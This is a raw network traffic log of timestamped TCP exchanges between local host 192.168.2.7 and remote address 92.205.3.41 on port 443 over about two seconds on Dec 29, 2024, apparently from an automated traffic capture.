Dec 29, 2024 08:56:21.617701054 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.620609045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.620701075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.622978926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.623059034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.625515938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.625590086 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.627830982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.627895117 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.630959988 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.631032944 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.633404970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.633471012 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.635827065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.635891914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.638320923 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.638386011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.641450882 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.641519070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.644256115 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.644324064 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.646637917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.646712065 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.649178028 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.649241924 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.651598930 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.651667118 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.654640913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.654714108 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.657063007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.657131910 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.817994118 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.818166018 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.820312023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.820482969 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.823383093 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.823447943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.825897932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.825972080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.828346014 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.828417063 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.831382036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.831453085 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.833782911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.833854914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.836297035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.836371899 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.838711023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.838776112 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.841936111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.841998100 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.843960047 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.844028950 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.847068071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.847153902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.849551916 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.849625111 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.851938963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.852005959 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.855108976 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.855180025 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:21.857495070 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:21.857566118 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.018583059 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.018702984 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.020881891 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.020963907 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.023292065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.023363113 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.026381016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.026453972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.028770924 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.028847933 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.031409979 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.031486034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.033960104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.034037113 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.036832094 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.036915064 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.039355040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.039427996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.041759968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.041829109 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.044841051 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.044908047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.046933889 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.047002077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.050043106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.050129890 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.052473068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.052539110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.055095911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.055166006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.057354927 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.057426929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.060508966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.060581923 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.221086025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.221201897 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.224173069 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.224248886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.226562977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.226630926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.229037046 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.229104042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.232173920 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.232244968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.234563112 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.234627008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.237276077 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.237343073 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.239432096 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.239500046 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.242558002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.242625952 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.245023012 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.245086908 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.247795105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.247864962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.251943111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.252125025 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.252945900 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.253038883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.256055117 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.256139040 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.258212090 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.258277893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.260715008 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.260796070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.421473980 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.421627045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.424215078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.424305916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.426637888 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.426711082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.429677010 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.429755926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.432146072 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.432219982 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.434680939 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.434779882 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.437673092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.437742949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.440108061 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.440181017 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.442650080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.442723036 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.445038080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.445106983 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.447837114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.447916985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.450973988 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.451072931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.453334093 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.453419924 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.455790043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.455861092 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.458273888 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.458345890 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.461354971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.461430073 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.622340918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.622441053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.624593019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.624667883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.626981974 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.627053022 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.630076885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.630156994 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.632483006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.632572889 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.635034084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.635112047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.638155937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.638231993 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.640595913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.640676975 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.643045902 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.643126965 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.645472050 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.645553112 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.648566008 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.648648977 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.650624990 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.650706053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.653748989 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.653836966 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.656291962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.656372070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.658659935 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.658732891 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.661784887 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.661864996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.664174080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.664243937 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.824711084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.824822903 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.827330112 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.827402115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.830456018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.830528021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.832891941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.832972050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.835402966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.835481882 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.837800026 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.837872982 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.840946913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.841022015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.843578100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.843658924 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.845833063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.845932961 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.848918915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.848998070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.851058006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.851126909 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.854156971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.854239941 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.856548071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.856610060 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.859030962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.859100103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.861476898 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.861542940 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:22.864625931 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:22.864700079 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.025245905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.025343895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.028332949 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.028405905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.030730009 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.030800104 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.033252954 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.033324957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.035633087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.035693884 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.038742065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.038810968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.041250944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.041316986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.043747902 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.043816090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.046782970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.046858072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.049211979 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.049287081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.051990032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.052066088 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.054379940 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.054455996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.056971073 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.057049036 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.059319019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.059393883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.062429905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.062499046 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.065191031 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.065264940 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.226280928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.226371050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.229012966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.229087114 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.231394053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.231472015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.233885050 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.233954906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.236274958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.236341000 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.239423037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.239485979 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.241828918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.241902113 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.244349003 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.244416952 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.247443914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.247550011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.249876022 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.249955893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.252659082 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.252733946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.255078077 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.255145073 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.257566929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.257639885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.259989023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.260068893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.263103008 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.263169050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.265491962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.265553951 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.268002987 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.268073082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.429487944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.429570913 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.431865931 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.431942940 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.434353113 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.434415102 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.436790943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.436856985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.439883947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.439948082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.442331076 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.442398071 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.444783926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.444848061 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.447237968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.447307110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.450320005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.450392962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.452878952 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.452955961 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.455554008 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.455617905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.458092928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.458158016 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.460541964 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.460606098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.463572025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.463649035 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.465964079 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.466033936 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.468472958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.468549013 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.629298925 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.629427910 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.632386923 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.632486105 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.634882927 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.634952068 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.637295961 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.637363911 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.640383959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.640449047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.642793894 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.642868996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.645322084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.645387888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.647748947 CET	443	49707	92.205.3.41	192.168.2.7
